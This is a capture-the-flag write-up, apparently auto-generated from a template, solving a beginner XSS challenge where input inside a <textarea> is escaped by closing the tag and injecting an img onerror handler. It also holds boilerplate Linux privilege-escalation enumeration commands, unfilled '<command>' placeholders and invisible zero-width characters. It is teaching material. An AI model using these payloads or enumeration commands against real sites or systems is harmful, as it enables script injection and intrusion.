Easy 2

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: html_tag_breakout_xss, img_onerror_xss, textarea_escape_xss

Summary

SiBears XSS School challenge. User input is placed inside a <textarea> tag. Goal: execute prompt("sibears").

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20260309_web_kids20_sibearsxss2
• Tags: xss, html_injection, sibears, textarea_escape
• Indicators: user input inside textarea tag, no HTML encoding, textarea element
• Source: 20260309_web_kids20_sibearsxss2.md

Foothold

Vulnerability / Misconfiguration

1. Html_tag_breakout_xss
2. Img_onerror_xss
3. Textarea_escape_xss

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• html_tag_breakout_xss
• img_onerror_xss
• textarea_escape_xss
• Tags: xss, html_injection, sibears, textarea_escape

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SiBears XSS School challenge. User input is placed inside a <textarea> tag. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/2

Analysis

The escape function places user input between opening and closing textarea tags:

function escape(s) {
  return '<textarea>' + s + '</textarea>';
}

Vulnerability: textarea content is normally interpreted as text, but if we can close the textarea tag, the subsequent HTML will be interpreted by the browser as regular HTML. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Textarea specifics:

• Everything inside textarea is displayed as text
• But the closing tag </textarea> terminates this context
• After it, arbitrary HTML can be injected

Solution

Payload to escape from textarea and inject XSS:

</textarea><img src=x onerror=prompt("sibears")>

Resulting HTML:

<textarea></textarea><img src=x onerror=prompt("sibears")></textarea>

Breakdown:

• </textarea> — closes the textarea tag
• <img src=x — creates an img element with non-existent src
• onerror=prompt("sibears") — error handler for failed load
• The extra </textarea> at the end is ignored by the browser ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR